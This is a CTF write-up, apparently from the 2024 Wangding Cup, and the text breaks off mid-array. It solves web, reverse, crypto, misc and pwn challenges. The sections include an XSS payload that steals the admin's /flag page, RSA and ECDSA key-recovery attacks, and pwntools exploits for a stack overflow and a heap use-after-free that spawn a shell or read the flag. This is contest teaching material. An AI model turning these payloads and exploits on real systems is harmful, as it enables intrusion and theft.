Web

签到题

web02

不管输什么都会添加到list里,又有boss考核可能存在xss,利用boss的权限

/flag下应该有flag

写一个js代码,先用get访问/flag,然后post传参通过content的返回信息回显flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<script>
fetch('/flag', { method: 'GET' })
.then(response => response.text())
.then(data => {
fetch('/content/3c7e9ff2ded2b2bc5c80f6c3ec346340', {
method: 'POST',
body: 'content=' + data,
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
}
})
.then(response => response.text())
.then(postResponse => {
console.log('POST 响应内容:', postResponse);
})
.catch(error => {
console.error('POST 请求错误:', error);
});
})
.catch(error => {
console.error('GET 请求错误:', error);
});
</script>

点下提交拿flag

Re

easystd

check 在 native 层

大致能看出来是个 SM4,和标准的对照一下,这里是子密钥生成

但是多异或了一个 7

这里的加密部分一致,但是线性变换部分Sbox等又异或了7

查看 Sbox 发现 Sbox 已经异或了 7,所以相当于没变

而标准常数也没变

所以可以直接解,密钥由这两部分拼接而成

导出一下密文

cyberchef 梭一下wdflag{39667a8d-79a7-4324-9d14-a26e163ef939}

four

四段flag分别解就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import base64
from Crypto.Cipher import AES
enc1 = [0xC6, 0x70, 0xCC, 0x66 ,0x68 ,0x60 ,0xC2 ,0x70]
flag1 = ''.join([chr(x // 2) for x in enc1])
enc2 = [0x3B, 0x9, 0x14, 0x45, 0x79, 0x56, 0x13, 0x5C]
xor_key = 'XorrLord'
flag2 = ''.join([chr(x ^ ord(y)) for x, y in zip(enc2, xor_key)])
def custom_base64_decode(data):
custom_chars = 'CDEFGHIJKLMNOPQRSTUVWXYZABabcdefghijklmnopqrstuvwxyz0123456789+/'
# 创建标准Base64字符集和自定义字符集的映射表
base64_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
char_map = str.maketrans(custom_chars, base64_chars)
# 替换为自定义字符
data = data.translate(char_map)
# 进行填充
padding = len(data) % 4
if padding:
data += '=' * (4 - padding)
# 使用标准Base64解码
decoded_data = base64.b64decode(data.encode()).decode()
return decoded_data
enc3 = 'OzHhPjSzPjK'
flag3 = custom_base64_decode(enc3)
Aes_key = 'AesMasterAesMast'
enc4 = [0x8C, 0xCD, 0x9E, 0x5, 0x11, 0xE2, 0xA0, 0x1D, 0xB0, 0xCD, 0x63, 0x7A, 0xB1, 0x37, 0x8A, 0x10]
aes = AES.new(Aes_key.encode(), AES.MODE_ECB)
flag4 = aes.decrypt(bytes(enc4)).decode()
flag = flag1 + flag2 + flag3 + flag4
print(flag)
#wdctf{c8f340a8cff759a831a6436222d648f7}

Crypto

crypto01

泄露了p 的高70位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from Crypto.Util.number import *
from secret import flag

p = getPrime(512)
q = getPrime(512)
n = p * q
d = getPrime(299)
e = inverse(d,(p-1)*(q-1))
m = bytes_to_long(flag)
c = pow(m,e,n)
hint1 = p >> (512-70)
hint2 = q >> (512-70)

print(f"n = {n}")
print(f"e = {e}")
print(f"c = {c}")
print(f"hint1 = {hint1}")
print(f"hint2 = {hint2}")

n = 73787944575265560659337066998651559854008554735456318333076159883563615536562553619509791556832630227860528135540580555475313775587694656733939337337162684083504013096398383073623252469953554083296109377792508578226035938969407231689553680824348024184291021105154956244179599769690508760502010020180061720019
e = 29567393844922147731100606267534953994449203725806042726345753844983783164567752859600595704301680439820601788437000356006329166887506988972343037285018001864800437750191409728833296698465447150521119258782212680439802048101817052671603259114861564484544609221844909301043673563931709693327971992359139371227
c = 45450360465574139870481845301350579669043708378076876540990465420189044791001300484095663295849190297258585508686905534568744689506644183459090297899984297370341547866178062353877908003401151052692574668213473397829536065790283637478791675039086877921443504800597649778898977086137114431286134700385182325815
hint1 = 954676601865566077628
hint2 = 599256795156046227992

根据 论文 写出 sage 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
import time
time.clock = time.time

debug = True

strict = False

helpful_only = True
dimension_min = 7 # 如果晶格达到该尺寸,则停止移除
# 显示有用矢量的统计数据
def helpful_vectors(BB, modulus):
nothelpful = 0
for ii in range(BB.dimensions()[0]):
if BB[ii,ii] >= modulus:
nothelpful += 1
print (nothelpful, "/", BB.dimensions()[0], " vectors are not helpful")

# 显示带有 0 和 X 的矩阵
def matrix_overview(BB, bound):
for ii in range(BB.dimensions()[0]):
a = ('%02d ' % ii)
for jj in range(BB.dimensions()[1]):
a += '0' if BB[ii,jj] == 0 else 'X'
if BB.dimensions()[0] < 60:
a += ' '
if BB[ii, ii] >= bound:
a += '~'
#print (a)

# 尝试删除无用的向量
# 从当前 = n-1(最后一个向量)开始
def remove_unhelpful(BB, monomials, bound, current):
# 我们从当前 = n-1(最后一个向量)开始
if current == -1 or BB.dimensions()[0] <= dimension_min:
return BB

# 开始从后面检查
for ii in range(current, -1, -1):
# 如果它没有用
if BB[ii, ii] >= bound:
affected_vectors = 0
affected_vector_index = 0
# 让我们检查它是否影响其他向量
for jj in range(ii + 1, BB.dimensions()[0]):
# 如果另一个向量受到影响:
# 我们增加计数
if BB[jj, ii] != 0:
affected_vectors += 1
affected_vector_index = jj

# 等级:0
# 如果没有其他载体最终受到影响
# 我们删除它
if affected_vectors == 0:
#print ("* removing unhelpful vector", ii)
BB = BB.delete_columns([ii])
BB = BB.delete_rows([ii])
monomials.pop(ii)
BB = remove_unhelpful(BB, monomials, bound, ii-1)
return BB

# 等级:1
#如果只有一个受到影响,我们会检查
# 如果它正在影响别的向量
elif affected_vectors == 1:
affected_deeper = True
for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
# 如果它影响哪怕一个向量
# 我们放弃这个
if BB[kk, affected_vector_index] != 0:
affected_deeper = False
# 如果没有其他向量受到影响,则将其删除,并且
# 这个有用的向量不够有用
#与我们无用的相比
if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(bound - BB[ii, ii]):
#print ("* removing unhelpful vectors", ii, "and", affected_vector_index)
BB = BB.delete_columns([affected_vector_index, ii])
BB = BB.delete_rows([affected_vector_index, ii])
monomials.pop(affected_vector_index)
monomials.pop(ii)
BB = remove_unhelpful(BB, monomials, bound, ii-1)
return BB
# nothing happened
return BB

"""
Returns:
* 0,0 if it fails
* -1,-1 如果 "strict=true",并且行列式不受约束
* x0,y0 the solutions of `pol`
"""
def boneh_durfee(pol, modulus, mm, tt, XX, YY):
"""
Boneh and Durfee revisited by Herrmann and May

在以下情况下找到解决方案:
* d < N^delta
* |x|< e^delta
* |y|< e^0.5
每当 delta < 1 - sqrt(2)/2 ~ 0.292
"""

# substitution (Herrman and May)
PR.<u, x, y> = PolynomialRing(ZZ) #多项式环
Q = PR.quotient(x*y + 1 - u) # u = xy + 1
polZ = Q(pol).lift()

UU = XX*YY + 1

# x-移位
gg = []
for kk in range(mm + 1):
for ii in range(mm - kk + 1):
xshift = x^ii * modulus^(mm - kk) * polZ(u, x, y)^kk
gg.append(xshift)
gg.sort()

# 单项式 x 移位列表
monomials = []
for polynomial in gg:
for monomial in polynomial.monomials(): #对于多项式中的单项式。单项式():
if monomial not in monomials: # 如果单项不在单项中
monomials.append(monomial)
monomials.sort()

# y-移位
for jj in range(1, tt + 1):
for kk in range(floor(mm/tt) * jj, mm + 1):
yshift = y^jj * polZ(u, x, y)^kk * modulus^(mm - kk)
yshift = Q(yshift).lift()
gg.append(yshift) # substitution

# 单项式 y 移位列表
for jj in range(1, tt + 1):
for kk in range(floor(mm/tt) * jj, mm + 1):
monomials.append(u^kk * y^jj)

# 构造格 B
nn = len(monomials)
BB = Matrix(ZZ, nn)
for ii in range(nn):
BB[ii, 0] = gg[ii](0, 0, 0)
for jj in range(1, ii + 1):
if monomials[jj] in gg[ii].monomials():
BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](UU,XX,YY)

#约化格的原型
if helpful_only:
# #自动删除
BB = remove_unhelpful(BB, monomials, modulus^mm, nn-1)
# 重置维度
nn = BB.dimensions()[0]
if nn == 0:
print ("failure")
return 0,0

# 检查向量是否有帮助
if debug:
helpful_vectors(BB, modulus^mm)

# 检查行列式是否正确界定
det = BB.det()
bound = modulus^(mm*nn)
if det >= bound:
print ("We do not have det < bound. Solutions might not be found.")
print ("Try with highers m and t.")
if debug:
diff = (log(det) - log(bound)) / log(2)
print ("size det(L) - size e^(m*n) = ", floor(diff))
if strict:
return -1, -1
else:
print ("det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)")

# display the lattice basis
if debug:
matrix_overview(BB, modulus^mm)

# LLL
if debug:
print ("optimizing basis of the lattice via LLL, this can take a long time")

#BB = BB.BKZ(block_size=25)
BB = BB.LLL()

if debug:
print ("LLL is done!")

# 替换向量 i 和 j ->多项式 1 和 2
if debug:
print ("在格中寻找线性无关向量")
found_polynomials = False

for pol1_idx in range(nn - 1):
for pol2_idx in range(pol1_idx + 1, nn):

# 对于i and j, 构造两个多项式

PR.<w,z> = PolynomialRing(ZZ)
pol1 = pol2 = 0
for jj in range(nn):
pol1 += monomials[jj](w*z+1,w,z) * BB[pol1_idx, jj] / monomials[jj](UU,XX,YY)
pol2 += monomials[jj](w*z+1,w,z) * BB[pol2_idx, jj] / monomials[jj](UU,XX,YY)

# 结果
PR.<q> = PolynomialRing(ZZ)
rr = pol1.resultant(pol2)


if rr.is_zero() or rr.monomials() == [1]:
continue
else:
print ("found them, using vectors", pol1_idx, "and", pol2_idx)
found_polynomials = True
break
if found_polynomials:
break

if not found_polynomials:
print ("no independant vectors could be found. This should very rarely happen...")
return 0, 0

rr = rr(q, q)

# solutions
soly = rr.roots()

if len(soly) == 0:
print ("Your prediction (delta) is too small")
return 0, 0

soly = soly[0][0]
ss = pol1(q, soly)
solx = ss.roots()[0][0]
return solx, soly

def example():
############################################
# 随机生成数据
##########################################
#start_time =time.perf_counter
start =time.clock()
size=512
length_N = 2*size;
ss=0
s=70;
M=1 # the number of experiments
delta = 299/1024
# p = random_prime(2^512,2^511)
for i in range(M):
# p = random_prime(2^size,None,2^(size-1))
# q = random_prime(2^size,None,2^(size-1))
# if(p<q):
# temp=p
# p=q
# q=temp
N = 73787944575265560659337066998651559854008554735456318333076159883563615536562553619509791556832630227860528135540580555475313775587694656733939337337162684083504013096398383073623252469953554083296109377792508578226035938969407231689553680824348024184291021105154956244179599769690508760502010020180061720019
e = 29567393844922147731100606267534953994449203725806042726345753844983783164567752859600595704301680439820601788437000356006329166887506988972343037285018001864800437750191409728833296698465447150521119258782212680439802048101817052671603259114861564484544609221844909301043673563931709693327971992359139371227
c = 45450360465574139870481845301350579669043708378076876540990465420189044791001300484095663295849190297258585508686905534568744689506644183459090297899984297370341547866178062353877908003401151052692574668213473397829536065790283637478791675039086877921443504800597649778898977086137114431286134700385182325815
hint1 = 954676601865566077628 # p高位
hint2 = 599256795156046227992 # q高位
# print ("p真实高",s,"比特:", int(p/2^(512-s)))
# print ("q真实高",s,"比特:", int(q/2^(512-s)))

# N = p*q;


# 解密指数d的指数( 最大0.292)



m = 6 # 格大小(越大越好/越慢)
t = round(((1-2*delta) * m)) # 来自 Herrmann 和 May 的优化
X = floor(N^delta) #
Y = floor(N^(1/2)/2^s) # 如果 p、 q 大小相同,则正确
for l in range(int(hint1),int(hint1)+1):
print('\n\n\n l=',l)
pM=l;
p0=pM*2^(size-s)+2^(size-s)-1;
q0=N/p0;
qM=int(q0/2^(size-s))
A = N + 1-pM*2^(size-s)-qM*2^(size-s);
#A = N+1
P.<x,y> = PolynomialRing(ZZ)
pol = 1 + x * (A + y) #构建的方程

# Checking bounds
#if debug:
#print ("=== 核对数据 ===")
#print ("* delta:", delta)
#print ("* delta < 0.292", delta < 0.292)
#print ("* size of e:", ceil(log(e)/log(2))) # e的bit数
# print ("* size of N:", len(bin(N))) # N的bit数
#print ("* size of N:", ceil(log(N)/log(2))) # N的bit数
#print ("* m:", m, ", t:", t)

# boneh_durfee
if debug:
##print ("=== running algorithm ===")
start_time = time.time()


solx, soly = boneh_durfee(pol, e, m, t, X, Y)


if solx > 0:
#print ("=== solution found ===")
if False:
print ("x:", solx)
print ("y:", soly)

d_sol = int(pol(solx, soly) / e)
ss=ss+1

print ("=== solution found ===")
print ("p的高比特为:",l)
print ("q的高比特为:",qM)
print ("d=",d_sol)

if debug:
print("=== %s seconds ===" % (time.time() - start_time))
#break
print("ss=",ss)
#end=time.process_time
end=time.clock()
print('Running time: %s Seconds'%(end-start))
if __name__ == "__main__":
example()

得到 d

解一下RSA

1
2
3
4
5
6
7
from Crypto.Util.number import *
n = 73787944575265560659337066998651559854008554735456318333076159883563615536562553619509791556832630227860528135540580555475313775587694656733939337337162684083504013096398383073623252469953554083296109377792508578226035938969407231689553680824348024184291021105154956244179599769690508760502010020180061720019
c = 45450360465574139870481845301350579669043708378076876540990465420189044791001300484095663295849190297258585508686905534568744689506644183459090297899984297370341547866178062353877908003401151052692574668213473397829536065790283637478791675039086877921443504800597649778898977086137114431286134700385182325815
d = 687038469975940863290260221773243585573217566356221334458982642899243861704377289553340363
m = pow(c, d, n)
print(long_to_bytes(m))
#b'wdflag{39769372-2155-4c99-9ec2-6683c4451ed6}'

crypto02

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
# coding: utf-8
#!/usr/bin/env python2

import gmpy2
import random
import binascii
from hashlib import sha256
from sympy import nextprime
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.number import long_to_bytes
from FLAG import flag
#flag = 'wdflag{123}'

def victory_encrypt(plaintext, key):
key = key.upper()
key_length = len(key)
plaintext = plaintext.upper()
ciphertext = ''

for i, char in enumerate(plaintext):
if char.isalpha():
shift = ord(key[i % key_length]) - ord('A')
encrypted_char = chr((ord(char) - ord('A') + shift) % 26 + ord('A'))
ciphertext += encrypted_char
else:
ciphertext += char

return ciphertext

victory_key = "WANGDINGCUP"
victory_encrypted_flag = victory_encrypt(flag, victory_key)

p = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f
a = 0
b = 7
xG = 0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798
yG = 0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8
G = (xG, yG)
n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
h = 1
zero = (0,0)

dA = nextprime(random.randint(0, n))

if dA > n:
print("warning!!")

def addition(t1, t2):
if t1 == zero:
return t2
if t2 == zero:
return t2
(m1, n1) = t1
(m2, n2) = t2
if m1 == m2:
if n1 == 0 or n1 != n2:
return zero
else:
k = (3 * m1 * m1 + a) % p * gmpy2.invert(2 * n1 , p) % p
else:
k = (n2 - n1 + p) % p * gmpy2.invert((m2 - m1 + p) % p, p) % p
m3 = (k * k % p - m1 - m2 + p * 2) % p
n3 = (k * (m1 - m3) % p - n1 + p) % p
return (int(m3),int(n3))

def multiplication(x, k):
ans = zero
t = 1
while(t <= k):
if (k &t )>0:
ans = addition(ans, x)
x = addition(x, x)
t <<= 1
return ans

def getrs(z, k):
(xp, yp) = P
r = xp
s = (z + r * dA % n) % n * gmpy2.invert(k, n) % n
return r,s

z1 = random.randint(0, p)
z2 = random.randint(0, p)
k = random.randint(0, n)
P = multiplication(G, k)
hA = multiplication(G, dA)
r1, s1 = getrs(z1, k)
r2, s2 = getrs(z2, k)

print("r1 = {}".format(r1))
print("r2 = {}".format(r2))
print("s1 = {}".format(s1))
print("s2 = {}".format(s2))
print("z1 = {}".format(z1))
print("z2 = {}".format(z2))

key = sha256(long_to_bytes(dA)).digest()
cipher = AES.new(key, AES.MODE_CBC)
iv = cipher.iv
encrypted_flag = cipher.encrypt(pad(victory_encrypted_flag.encode(), AES.block_size))
encrypted_flag_hex = binascii.hexlify(iv + encrypted_flag).decode('utf-8')

print("Encrypted flag (AES in CBC mode, hex):", encrypted_flag_hex)

# output
# r1 = 66378485426889535028763915423685212583706810153195012097516816885575964878246
# r2 = 66378485426889535028763915423685212583706810153195012097516816885575964878246
# s1 = 73636354334739290806716081380360143742414582638332132893041295586890856253300
# s2 = 64320109990895398581134015047131652648423777800538748939578192006599226954034
# z1 = 35311306706233977395060423051262119784421232920823462737043282589337379493964
# z2 = 101807556569342254666094290602497540565936025601030395061064067677254735341454
# ('Encrypted flag (AES in CBC mode, hex):', u'3cdbe372c9bc279e816336ad69b8247f4ec05647a7e97285dd64136875004b638b77191fe9bef702cb873ee93dbe376c050d0c721b69f17f539cff83372cc37b')

GPT 秒了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Util.number import long_to_bytes
from hashlib import sha256
import gmpy2

# 已知的值
n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
r1 = 66378485426889535028763915423685212583706810153195012097516816885575964878246
r2 = 66378485426889535028763915423685212583706810153195012097516816885575964878246
s1 = 73636354334739290806716081380360143742414582638332132893041295586890856253300
s2 = 64320109990895398581134015047131652648423777800538748939578192006599226954034
z1 = 35311306706233977395060423051262119784421232920823462737043282589337379493964
z2 = 101807556569342254666094290602497540565936025601030395061064067677254735341454

# 解出 k 和 dA
k = ((z1 - z2) * gmpy2.invert(s1 - s2, n)) % n
dA = ((s1 * k - z1) * gmpy2.invert(r1, n)) % n

# 计算 AES 密钥
key = sha256(long_to_bytes(dA)).digest()

# 解密 AES 加密的 flag
encrypted_flag_hex = '3cdbe372c9bc279e816336ad69b8247f4ec05647a7e97285dd64136875004b638b77191fe9bef702cb873ee93dbe376c050d0c721b69f17f539cff83372cc37b'
encrypted_flag_bytes = bytes.fromhex(encrypted_flag_hex)

iv = encrypted_flag_bytes[:16]
encrypted_flag = encrypted_flag_bytes[16:]

cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_flag = unpad(cipher.decrypt(encrypted_flag), AES.block_size).decode('utf-8')

print("Recovered flag:", decrypted_flag)

# Victory 解密 (逆向 Caesar 密码)
def victory_decrypt(ciphertext, key):
key = key.upper()
key_length = len(key)
plaintext = ''
for i, char in enumerate(ciphertext):
if char.isalpha():
shift = ord(key[i % key_length]) - ord('A')
decrypted_char = chr((ord(char) - ord('A') - shift + 26) % 26 + ord('A'))
plaintext += decrypted_char
else:
plaintext += char
return plaintext

# 解密 Victory 加密的 Flag
victory_key = "WANGDINGCUP"
flag = victory_decrypt(decrypted_flag, victory_key)
print("Recovered flag:", flag.lower())
#Recovered flag: SDSRDO{34697E430N6H6URW68849Q8HWT81039J}
#Recovered flag: wdflag{34697e430f6b6aca68849d8fce81039b}

wdflag{34697e430f6b6aca68849d8fce81039b}

Misc

Misc01

Diameter 协议 表示地理位置相关信息的关键字段是 **EPS-Location-Information (1496)** 和其包含的几个子 AVP ,所以我们搜索字符串**EPS-Location-Information**

定位到 110包

然后复制选中树的所有可见项目。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
AVP: EPS-Location-Information(1496) l=80 f=V-- vnd=TGPP
AVP Code: 1496 EPS-Location-Information
AVP Flags: 0x80, Vendor-Specific: Set
1... .... = Vendor-Specific: Set
.0.. .... = Mandatory: Not set
..0. .... = Protected: Not set
...0 .... = Reserved: Not set
.... 0... = Reserved: Not set
.... .0.. = Reserved: Not set
.... ..0. = Reserved: Not set
.... ...0 = Reserved: Not set
AVP Length: 80
AVP Vendor Id: 3GPP (10415)
EPS-Location-Information: 0000064080000044000028af0000064280000013000028af2090300970a28d000000064380000011000028af64f08099f40000000000064b80000010000028af00000001
AVP: MME-Location-Information(1600) l=68 f=V-- vnd=TGPP
AVP Code: 1600 MME-Location-Information
AVP Flags: 0x80, Vendor-Specific: Set
1... .... = Vendor-Specific: Set
.0.. .... = Mandatory: Not set
..0. .... = Protected: Not set
...0 .... = Reserved: Not set
.... 0... = Reserved: Not set
.... .0.. = Reserved: Not set
.... ..0. = Reserved: Not set
.... ...0 = Reserved: Not set
AVP Length: 68
AVP Vendor Id: 3GPP (10415)
MME-Location-Information: 0000064280000013000028af2090300970a28d000000064380000011000028af64f08099f40000000000064b80000010000028af00000001
AVP: E-UTRAN-Cell-Global-Identity(1602) l=19 f=V-- vnd=TGPP val=2090300970a28d
AVP Code: 1602 E-UTRAN-Cell-Global-Identity
AVP Flags: 0x80, Vendor-Specific: Set
1... .... = Vendor-Specific: Set
.0.. .... = Mandatory: Not set
..0. .... = Protected: Not set
...0 .... = Reserved: Not set
.... 0... = Reserved: Not set
.... .0.. = Reserved: Not set
.... ..0. = Reserved: Not set
.... ...0 = Reserved: Not set
AVP Length: 19
AVP Vendor Id: 3GPP (10415)
E-UTRAN-Cell-Global-Identity: 2090300970a28d
Padding: 00
AVP: Tracking-Area-Identity(1603) l=17 f=V-- vnd=TGPP val=64f08099f4
AVP: Age-Of-Location-Information(1611) l=16 f=V-- vnd=TGPP val=1

问GPT确定是这个diameter.E-UTRAN-Cell-Global-Identity:2090300970a28d

Misc03

http.request.method=="POST"过滤一下流量

发现个 hacker.php由 web shell,所以 39.168.5.60应该就是攻击 IP

Misc04

皮亚诺曲线,【分形几何】05.Peano(皮亚诺)曲线搓个脚本还原

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from PIL import Image
from tqdm import tqdm

def peano(n):
if n == 0:
return [[0,0]]
else:
in_lst = peano(n - 1)
lst = in_lst.copy()
px,py = lst[-1]
lst.extend([px - i[0], py + 1 + i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + i[0], py + 1 + i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + 1 + i[0], py - i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px - i[0], py - 1 - i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + i[0], py - 1 - i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + 1 + i[0], py + i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px - i[0], py + 1 + i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + i[0], py + 1 + i[1]] for i in in_lst)
return lst

order = peano(6)

img = Image.open(r"C:\Users\Tree\Downloads\Compressed\网鼎杯2024\1.png")

width, height = img.size

block_width = width # // 3
block_height = height # // 3

new_image = Image.new("RGB", (width, height))

for i, (x, y) in tqdm(enumerate(order)):
# 根据列表顺序获取新的坐标
new_x, new_y = i % width, i // width
# 获取原图像素
pixel = img.getpixel((x, height - 1 - y))
# 在新图像中放置像素
new_image.putpixel((new_x, new_y), pixel)

new_image.save("new_image.jpg")

得到

扫描一下wdflag{b9367dd6-2d7e-4ef7-ba5c-270a6c6220cd}

PWN

pwn02

首先输入admin和admin123,进入vuln函数

存在栈溢出,且会打印出buf地址

存在后门函数,system函数会将ebp+8处的内容作参数,于是寻找/bin/sh

存在/bin/sh字符串。

由此,执行read时,可以输入/bin/sh所在地址,再填充垃圾数据,修改ebp的值为buf-8,再修改返回地址为gift函数,这样就会执行system(‘/bin/sh’)

成功获取flag

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
#p=process('./short')
p=remote("0192d657c90a7e60b49d73b97d469197.676z.dg01.ciihw.cn",46535)

context(os='linux',arch='i386')
context.log_level='debug'

vuln=0x08048611
gift=0x080485f2

p.recvuntil("Enter your username: ")
p.sendline(b'admin')
p.recvuntil("Enter your password: ")
p.sendline(b'admin123')

p.recvuntil("this: ")
buf=int(p.recv(10),16)
print(hex(buf))
p.recv()
#gdb.attach(p)
#pause()
payload=p32(0x0804A038)+b'a'*76+p32(buf-8)+p32(gift)
p.send(payload)
#pause()
#p.recv()
p.interactive()

pwn04

用户名和密码验证,需要爆破一下

然后有一个对称加密, 动态调试抓取初始化后的结果 ,最后仿照手写一个加密函数

free后不清空地址,因此可以uaf。

填满tcachebin后泄露libc地址。利用tcache dup覆写free_hook,可以在free时实现任意地址执行。

利用setcontext将栈迁移到堆上,进行orw读取flag。其中flag文件名称为flag.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
from pwn import *

p = process('./pwn')
# p = remote('0192d70416017834afc96338b5c17a82.3p85.dg03.ciihw.cn',44757 )
context.log_level = 'debug'

usr = b''
libc = ELF("./libc.so.6")
dat = [i for i in range(ord('A'), ord("Z")+1)] + [i for i in range(ord('a'), ord("z")+1)] + [i for i in range(ord('0'), ord("9")+1)] + [ord('_')]

recv=b''
# while b'correct' not in recv:
# for i in dat:
# tmp = usr + p8(i)
# print(f"Trying {tmp}")
# p.sendlineafter('username:\n', tmp)
# recv = p.recvuntil('\n')
# if b'length' in recv:
# usr += p8(i)
# break
# if b'correct' in recv:
# psw += p8(i)
# break

usr = b'4dm1n'
psw = b'985da4f8cb37zkj'
# while b'correct' not in recv:
# for i in dat:
# tmp = psw + p8(i)
# p.sendlineafter('username:\n', usr)

# print(f"Trying {tmp}")
# p.sendlineafter('password:\n', tmp)
# recv = p.recvuntil('\n')
# if b'length' in recv:
# psw += p8(i)
# break
# if b'correct' in recv:
# psw += p8(i)
# break

p.sendlineafter('username:\n', usr)
p.sendlineafter('password:\n', psw)

def add(key, size, data):
p.sendlineafter('>', '1')
p.sendlineafter('key:', str(key))
p.sendlineafter('size:', str(size))
if len(data)<size:
p.sendlineafter('value:', data)
else:
p.sendafter('value:', data)


def delete(key):
p.sendlineafter('>', '3')
p.sendlineafter('key:', str(key))

def show(key):
p.sendlineafter('>', '2')
p.sendlineafter('key:', str(key))


def edit(key, content):
p.sendlineafter('>', '4')
p.sendlineafter('key:', str(key))
p.sendafter('value:', content)

key=[
0x7b,0x02,0x45,0x85,0x2c,0x31,0x18,0x2b,
0x92,0x3e,0x88,0xc5,0x21,0xc8,0x5d,0x20,
0xf0,0x1d,0x17,0x9d,0x4c,0x4f,0x61,0xba,
0xa3,0xe1,0xa5,0xf2,0x81,0xa4,0x4b,0xf5,
0x83,0x57,0x52,0x59,0x79,0x1b,0xb1,0x0b,
0xe9,0x47,0x64,0x0a,0x77,0x07,0xe8,0x36,
0xf9,0x98,0x68,0x84,0x08,0xc0,0x8e,0xd8,
0xfe,0x72,0x22,0x3b,0x14,0x99,0x27,0xbb,
0x0f,0xaf,0x60,0x49,0xbf,0xa2,0x76,0x33,
0xb5,0x3c,0x86,0xc7,0xb9,0x5a,0x53,0x8a,
0x37,0xa0,0x5c,0xe4,0x71,0x62,0x34,0x1e,
0x3d,0x1c,0x94,0x54,0xa1,0x04,0xdc,0xd4,
0x2f,0x11,0x39,0x9a,0xd0,0xf3,0x95,0x67,
0xd2,0xb3,0xc1,0xce,0x56,0xd1,0xe3,0x66,
0x70,0xb6,0xee,0xb0,0xf1,0x50,0xb2,0x9c,
0xac,0x80,0x30,0x73,0x2d,0xaa,0xab,0x0c,
0x7f,0xad,0xbe,0xb4,0x63,0x93,0x8b,0x5b,
